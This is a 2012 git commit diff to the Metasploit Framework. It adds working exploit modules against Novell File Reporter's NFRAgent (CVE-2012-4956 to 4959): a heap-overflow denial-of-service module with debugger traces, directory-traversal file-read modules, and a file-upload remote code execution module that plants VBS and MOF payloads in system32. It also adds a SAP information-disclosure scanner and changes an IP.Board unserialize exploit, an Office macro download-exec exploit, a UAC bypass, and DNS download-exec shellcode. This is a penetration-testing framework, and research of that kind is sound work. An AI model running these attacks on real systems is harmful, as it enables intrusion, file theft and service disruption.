Merge branch 'rapid7' into tasos-r7-web-modules

unstable
James Lee 2012-11-16 13:52:18 -06:00
commit c65f37782d
9 changed files with 791 additions and 43 deletions

View File

@ -0,0 +1,234 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'NFR Agent Heap Overflow Vulnerability',
'Description' => %q{
This module exploits a heap overflow in NFRAgent.exe, a component of Novell
File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS",
where NFRAgent.exe fails to generate a response in a secure way, copying user
controlled data into a fixed-length buffer in the heap without bounds checking.
This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).
},
'Author' => [ 'juan vazquez' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', 'CVE-2012-4956' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
],
'DisclosureDate' => 'Nov 16 2012'))
register_options(
[
Opt::RPORT(3037),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end
def rport
datastore['RPORT']
end
def peer
"#{rhost}:#{rport}"
end
def run
record = "<RECORD>"
record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
record << "<VOL>#{Rex::Text.rand_text_alpha(10)}</VOL>" * 0xc35 # Volumes
record << "</RECORD>"
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
message = md5 + record
print_status("#{peer} - Triggering a heap overflow to cause DoS...")
begin
res = send_request_cgi(
{
'uri' => '/FSF/CMD',
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml",
'data' => message,
})
rescue ::Errno::ECONNRESET
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
return
end
if res
print_error("#{peer} - NFR Agent didn't die, it still answers...")
return
end
print_good("#{peer} - NFR Agent didn't answer, DoS seems successful")
end
end
=begin
* Static analysis
1) Handling of "SRS" records happens in handle_SRS_sub_4048D0:
.text:00404BE9 add esp, 0Ch
.text:00404BEC push 14h ; length_arg_C
.text:00404BEE lea eax, [ebp+record_name_var_28]
.text:00404BF1 push eax ; result_arg_8
.text:00404BF2 push offset aName ; "NAME"
.text:00404BF7 mov ecx, [ebp+message_arg_8]
.text:00404BFA add ecx, 20h
.text:00404BFD push ecx ; xml_message_arg_0
.text:00404BFE mov ecx, [ebp+var_2C]
.text:00404C01 call parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
.text:00404C06 movzx edx, al
.text:00404C09 test edx, edx
.text:00404C0B jz short loc_404C8B
.text:00404C0D push offset aSrs_2 ; "SRS"
.text:00404C12 lea eax, [ebp+record_name_var_28]
.text:00404C15 push eax ; char *
.text:00404C16 call _strcmp ; compares the contents of the "NAME" element in the xml message from the request with the "SRS" string.
.text:00404C1B add esp, 8
.text:00404C1E test eax, eax
.text:00404C20 jnz short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
.text:00404C22 mov ecx, [ebp+message_arg_8]
.text:00404C25 push ecx ; void *
.text:00404C26 mov edx, [ebp+arg_4]
.text:00404C29 push edx ; int
.text:00404C2A mov eax, [ebp+arg_0]
.text:00404C2D push eax ; int
.text:00404C2E call handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"
2) In this function memory is allocated to store the response which will be build:
.text:00404903 push 0C350h ; size_t
.text:00404908 call _malloc
.text:0040490D add esp, 4
.text:00404910 mov [ebp+response_var_8], eax
0:007> g
Breakpoint 0 hit
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x4908:
00404908 e84cef0300 call NFRAgent+0x43859 (00443859)
0:007> dd esp L1
0120ff4c 0000c350
0:007> p
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x490d:
0040490d 83c404 add esp,4
0:007> !heap -p -a eax
address 01220110 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
3) The SRS record used in this module is handled by:
.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char
*result_response_arg_4)
4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed:
for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD
*)(vol_object_var_254 + 12) )
{
parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL",
&vol_name_var_20c, 0x1F4u); // get VOL element
volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume
Free Space
volume_fscape_var_358 = v2;
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode
the volume name (user controlled data)
if ( vol_name_html_encode_var_494 )
{ // If the volume name has been HTML Encoded
v3 = volume_fscape_var_358;
v4 = volume_fspace_vol_35C;
v5 = vol_name_html_encode_var_494;
v6 = strlen(result_response_arg_4);
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the
fix-length buffer in the heap without bound checking
free(vol_name_html_encode_var_494);
vol_name_html_encode_var_494 = 0;
}
else
{ // If the volume name hasnt been HTML Encoded
v7 = volume_fscape_var_358;
v8 = volume_fspace_vol_35C;
v9 = strlen(result_response_arg_4);
sprintf(
&result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume
name) to the end of the fix-length buffer in the heap without bound checking
"<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
&vol_name_var_20c,
v8,
v7);
}
}
The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5:
Breakpoint 1 hit
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
NFRAgent+0x85c5:
004085c5 e84ea70300 call NFRAgent+0x42d18 (00442d18)
0:007> dd esp L1
0120eec8 0122013e
0:007> !heap -p -a 0122013e
address 0122013e found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
0:007> da poi(esp+4)
0047a040 "<VOL><NAME>%s</NAME><FSPACE>%I64"
0047a060 "d</FSPACE></VOL>"
0:007> da poi(esp+8)
01250208 "AAAAAAAAAA"
After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are
overwritten for the chunk just after the vulnerable one:
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
NFRAgent+0x8645:
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
0:007> !heap -p -a 01220110
address 01220110 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01220108 186b 0000 [01] 01220110 0c350 - (busy)
0:007> !heap -p -a 01220110+0xc350
address 0122c460 found in
_HEAP @ 9e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0122c460 3e45 0000 [46] 0122c468 1f220 - (free)
0:007> db 0122c460 L8
0122c460 45 3e 30 3c 2f 46 53 50 E>0</FSP
0:007> db 0122c468 L10
0122c468 41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c ACE></VOL><VOL><
=end

View File

@ -0,0 +1,86 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'NFR Agent FSFUI Record Arbitrary Remote File Access',
'Description' => %q{
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve
arbitrary text files via a directory traversal while handling requests to /FSF/CMD
with an FSFUI record with UICMD 126. This module has been tested successfully
against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File
Reporter 1.0.1).
},
'References' =>
[
[ 'CVE', 'CVE-2012-4958' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
],
'Author' =>
[
'juan vazquez'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Nov 16 2012"
)
register_options(
[
Opt::RPORT(3037),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('RFILE', [true, 'Remote File', 'boot.ini']),
OptInt.new('DEPTH', [true, 'Traversal depth', 6])
], self.class)
end
def rport
datastore['RPORT']
end
def peer
"#{rhost}:#{rport}"
end
def run_host(ip)
traversal = "..\\" * datastore['DEPTH']
record = "<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FILE>#{traversal}#{datastore['RFILE']}</FILE></RECORD>"
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
message = md5 + record
print_status("#{peer} - Retrieving the file contents")
res = send_request_cgi(
{
'uri' => '/FSF/CMD',
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml",
'data' => message,
})
if res and res.code == 200 and res.body =~ /<RESULT><VERSION>1<\/VERSION><STATUS>0<\/STATUS><CFILE><\!\[CDATA\[(.*)\]\]><\/CFILE><\/RESULT>/m
loot = $1
f = ::File.basename(datastore['RFILE'])
path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
print_status("#{peer} - #{datastore['RFILE']} saved in #{path}")
else
print_error("#{peer} - Failed to retrieve the file contents")
end
end
end

View File

@ -0,0 +1,86 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'NFR Agent SRS Record Arbitrary Remote File Access',
'Description' => %q{
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve
arbitrary files via a request to /FSF/CMD with a SRS Record with OPERATION 4 and
CMD 103, specifying a full pathname. This module has been tested successfully
against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File
Reporter 1.0.1).
},
'References' =>
[
[ 'CVE', 'CVE-2012-4957' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
],
'Author' =>
[
'juan vazquez'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Nov 16 2012"
)
register_options(
[
Opt::RPORT(3037),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('RFILE', [true, 'Remote File', 'c:\\boot.ini'])
], self.class)
register_autofilter_ports([ 3037 ])
deregister_options('RHOST')
end
def rport
datastore['RPORT']
end
def peer
"#{rhost}:#{rport}"
end
def run_host(ip)
record = "<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>#{datastore['RFILE']}</PATH></RECORD>"
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
message = md5 + record
print_status("#{peer} - Retrieving the file contents")
res = send_request_cgi(
{
'uri' => '/FSF/CMD',
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml",
'data' => message,
})
if res and res.code == 200 and not res.body =~ /<RESULT>/
loot = res.body
f = ::File.basename(datastore['RFILE'])
path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
print_status("#{peer} - #{datastore['RFILE']} saved in #{path}")
else
print_error("#{peer} - Failed to retrieve the file contents")
end
end
end

View File

@ -0,0 +1,166 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy. I'd also like to thank Chris John Riley,
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
##
require "msf/core"
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure',
'Description' => %q{
This module attempts to identify software, OS and DB versions through the SAP
function TH_SAPREL using the /sap/bc/soap/rfc SOAP service.
},
'References' =>
[
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
],
'Author' =>
[
'Agnivesh Sathasivam',
'nmonkee'
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8000),
OptString.new('CLIENT', [true, 'Client', nil]),
OptString.new('USERNAME', [true, 'Username', nil]),
OptString.new('PASSWORD', [true, 'Password', nil])
], self.class)
end
def run_host(ip)
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
data << '<env:Body>'
data << '<n1:TH_SAPREL xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
data << '</n1:TH_SAPREL>'
data << '</env:Body>'
data << '</env:Envelope>'
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
print_status("[SAP] #{ip}:#{rport} - sending SOAP TH_SAPREL request")
begin
res = send_request_raw({
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
'method' => 'POST',
'data' => data,
'headers' =>{
'Content-Length' => data.size.to_s,
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
'Authorization' => 'Basic ' + user_pass,
'Content-Type' => 'text/xml; charset=UTF-8'
}
}, 45)
if res and res.code == 200
kern_comp_on = $1 if res.body =~ /<KERN_COMP_ON>(.*)<\/KERN_COMP_ON>/i
kern_comp_time = $1 if res.body =~ /<KERN_COMP_TIME>(.*)<\/KERN_COMP_TIME>/i
kern_dblib = $1 if res.body =~ /<KERN_DBLIB>(.*)<\/KERN_DBLIB>/i
kern_patchlevel = $1 if res.body =~ /<KERN_PATCHLEVEL>(.*)<\/KERN_PATCHLEVEL>/i
kern_rel = $1 if res.body =~ /<KERN_REL>(.*)<\/KERN_REL>/i
saptbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] System Info",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"Info",
"Value"
])
saptbl << [ "OS Kernel version", kern_comp_on ]
saptbl << [ "SAP compile time", kern_comp_time ]
saptbl << [ "DB version", kern_dblib ]
saptbl << [ "SAP patch level", kern_patchlevel ]
saptbl << [ "SAP Version", kern_rel ]
print(saptbl.to_s)
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:sname => 'sap',
:type => 'os.kernel.version',
:data => "OS Kernel version: #{kern_comp_on}"
)
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:sname => 'sap',
:type => 'sap.time.compile',
:data => "SAP compile time: #{kern_comp_time}"
)
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:sname => 'sap',
:type => 'sap.db.version',
:data => "DB version: #{kern_dblib}"
)
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:sname => 'sap',
:type => 'sap.version.patch_level',
:data => "SAP patch level: #{kern_patchlevel}"
)
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:type => 'sap.version',
:data => "SAP Version: #{kern_rel}"
)
elsif res and res.code == 500
response = res.body
error.push(response.scan(%r{<message>(.*?)</message>}))
err = error.join().chomp
print_error("[SAP] #{ip}:#{rport} - #{err.gsub('&#39;','\'')}")
return
else
print_error("[SAP] #{ip}:#{rport} - error message: " + res.code.to_s + " " + res.message) if res
return
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
return
end
end
end

View File

@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
}, },
'Author' => 'Author' =>
[ [
'EgiX', # Vulnerability discovery and PoC 'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods
'juan vazquez', # Metasploit module 'juan vazquez', # Metasploit module
'sinn3r' # PhpEXE tekniq & check() method 'sinn3r' # PhpEXE tekniq & check() method
], ],
@ -69,28 +69,39 @@ class Metasploit3 < Msf::Exploit::Remote
return base return base
end end
def check def cookie_prefix
res = send_request_raw({'uri'=>"#{base}index.php"}) print_status("#{@peer} - Checking for cookie prefix")
return Exploit::CheckCode::Unknown if not res cookie_prefix = ""
res = send_request_cgi(
{
'uri' => "#{base}index.php",
'method' => 'GET'
})
version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
return Exploit::CheckCode::Safe if version.empty? print_status("#{@peer} - Cookie prefix #{$1} found")
version = version.map {|e| e.to_i} cookie_prefix = $1
# We only want major version 3
# This version checking is based on OSVDB's info
return Exploit::CheckCode::Safe if version[0] != 3
case version[1]
when 1
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
when 2
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)
when 3
return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)
end end
return cookie_prefix
end
return Exploit::CheckCode::Safe def check
@peer = "#{rhost}:#{rport}"
check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}')
res = send_request_cgi(
{
'uri' => "#{base}index.php",
'method' => 'GET',
'cookie' => "#{cookie_prefix}session_id=#{check_str}"
})
if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/
return Exploit::CheckCode::Vulnerable
elsif res and res.code == 200
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end end
def on_new_session(client) def on_new_session(client)
@ -110,20 +121,6 @@ class Metasploit3 < Msf::Exploit::Remote
@upload_php = rand_text_alpha(rand(4) + 4) + ".php" @upload_php = rand_text_alpha(rand(4) + 4) + ".php"
@peer = "#{rhost}:#{rport}" @peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Checking for cookie prefix")
res = send_request_cgi(
{
'uri' => "#{base}index.php",
'method' => 'GET'
})
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
print_status("#{@peer} - Cookie prefix #{$1} found")
cookie_prefix = $1
else
cookie_prefix = ""
end
# get_write_exec_payload uses a function, which limits our ability to support # get_write_exec_payload uses a function, which limits our ability to support
# Linux payloads, because that requires a space: # Linux payloads, because that requires a space:
# function my_cmd # function my_cmd

View File

@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
register_options( register_options(
[ [
OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]), OptEnum.new('INIT_PAYLOAD', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),
OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new("BODY", [false, 'The message for the document body', '']),
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
], self.class) ], self.class)
@ -144,7 +144,7 @@ class Metasploit3 < Msf::Exploit::Remote
when /oleObject1\.bin/ when /oleObject1\.bin/
# Patch the OLE object file with our payload # Patch the OLE object file with our payload
print_status("Patching OLE object") print_status("Patching OLE object")
ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb ptype = datastore['INIT_PAYLOAD'] == 'PYTHON' ? :py : :rb
p = get_download_exec_payload(ptype, @ip, @port) p = get_download_exec_payload(ptype, @ip, @port)
buf = buf.gsub(/MYPAYLOAD/, p) buf = buf.gsub(/MYPAYLOAD/, p)

View File

@ -50,6 +50,11 @@ class Metasploit3 < Msf::Exploit::Local
def exploit def exploit
isadmin = session.railgun.shell32.IsUserAnAdmin()
if isadmin['return']
print_error('Already in elevated state. Exiting...')
return
end
# #
# Verify use against Vista+ # Verify use against Vista+
@ -95,6 +100,31 @@ class Metasploit3 < Msf::Exploit::Local
return return
end end
# Check if you are an admin
print_status('Checking admin status...')
whoami = session.sys.process.execute('cmd /c whoami /groups',
nil,
{'Hidden' => true, 'Channelized' => true}
)
cmdout = []
isinadmins = []
while(cmdoutput = whoami.channel.read)
cmdout << cmdoutput
end
if cmdout.size == 0
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
isinadmins = cmdout[0].split("\r\n").grep(/S-1-5-32-544/)
if isinadmins.size > 0
print_good('Part of Administrators group! Continuing...')
else
print_error('Not in admins group, cannot escalate with this module')
print_error('Exiting...')
return
end
end
# #
# Generate payload and random names for upload # Generate payload and random names for upload
# #

View File

@ -0,0 +1,149 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
'Name' => 'NFR Agent FSFUI Record File Upload RCE',
'Description' => %q{
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload
arbitrary files via a directory traversal while handling requests to /FSF/CMD with
FSFUI records with UICMD 130. This module has been tested successfully against NFR
Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
},
'License' => MSF_LICENSE,
'Author' =>
[
'juan vazquez'
],
'References' =>
[
[ 'CVE', 'CVE-2012-4959'],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'WfsDelay' => 20
},
'Platform' => 'win',
'Targets' =>
[
#Windows before Vista
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 16 2012'))
register_options(
[
Opt::RPORT(3037),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptInt.new('DEPTH', [true, 'Traversal depth', 6])
], self.class)
end
def on_new_session(client)
return if not @var_mof_name
return if not @var_vbs_name
if client.type != "meterpreter"
print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.")
print_error("The following files must be removed manually:")
print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs")
print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)")
return # That's it
end
# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
begin
print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...")
windir = client.fs.file.expand_path("%WINDIR%")
client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs")
print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...")
cmd = "#{windir}\\system32\\attrib.exe -r " +
"#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
client.sys.process.execute(cmd, nil, {'Hidden' => true })
client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end
end
def peer
"#{rhost}:#{rport}"
end
def exploit
# In order to save binary data to the file system the payload is written to a .vbs
# file and execute it from there.
@var_mof_name = rand_text_alpha(rand(5)+5)
@var_vbs_name = rand_text_alpha(rand(5)+5)
print_status("Encoding payload into VBS...")
payload = generate_payload_exe
vbs_content = Msf::Util::EXE.to_exe_vbs(payload)
print_status("Generating VBS file...")
mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
print_status("#{peer} - Uploading the VBS file")
worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content)
unless worked
fail_with(Failure::NotVulnerable, "Failed to upload the file")
end
print_status("#{peer} - Uploading the MOF file")
upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content)
end
def upload_file(filename, content)
traversal = "..\\" * datastore['DEPTH']
traversal << filename
record = "<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>#{traversal}</FILE><![CDATA[#{content}]]></RECORD>"
md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
message = md5 + record
res = send_request_cgi(
{
'uri' => '/FSF/CMD',
'version' => '1.1',
'method' => 'POST',
'ctype' => "text/xml",
'data' => message,
})
if res and res.code == 200 and res.body.include? "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>"
print_warning("#{peer} - File successfully uploaded: #{filename}")
else
print_error("#{peer} - Failed to upload the file")
return false
end
true
end
end

View File

@ -160,7 +160,7 @@ get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module jmp.i8 next_mod ; Process this module
; actual routine ; actual routine
start: start:
@ -195,7 +195,7 @@ load_dnsapi:
mov bl,0x61 ; first query, start with 'a' mov bl,0x61 ; first query, start with 'a'
dnsquery: dnsquery:
jmp get_dnsname ; get dnsname jmp.i8 get_dnsname ; get dnsname
get_dnsname_return: get_dnsname_return:
pop eax ; get ptr to dnsname (lpstrName) pop eax ; get ptr to dnsname (lpstrName)
@ -215,7 +215,7 @@ get_dnsname_return:
call ebp ; call ebp ;
test eax, eax ; query ok ? test eax, eax ; query ok ?
jnz jump_to_payload ; no, jump to payload jnz jump_to_payload ; no, jump to payload
jmp get_query_result ; eax = 0 : a piece returned, fetch it jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it
get_dnsname: get_dnsname:
@ -225,9 +225,9 @@ get_dnsname:
get_query_result: get_query_result:
xchg #{bufferreg},edx ; save start of heap xchg #{bufferreg},edx ; save start of heap
pop #{bufferreg} ; heap structure containing DNS results pop #{bufferreg} ; heap structure containing DNS results
mov eax,[#{bufferreg}] ; if first dword has a non-null value, then stop mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1
test eax,eax cmp eax,1
jnz prepare_payload ; jmp to payload jne prepare_payload ; jmp to payload
add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply
mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply
@ -243,7 +243,7 @@ copy_piece_to_heap:
push edi ; push edi ;
inc ebx ; increment sequence inc ebx ; increment sequence
xchg #{bufferreg},edx ; restore start of heap xchg #{bufferreg},edx ; restore start of heap
jmp dnsquery ; try to get the next piece, if any jmp.i8 dnsquery ; try to get the next piece, if any
prepare_payload: prepare_payload:
mov #{bufferreg},edx mov #{bufferreg},edx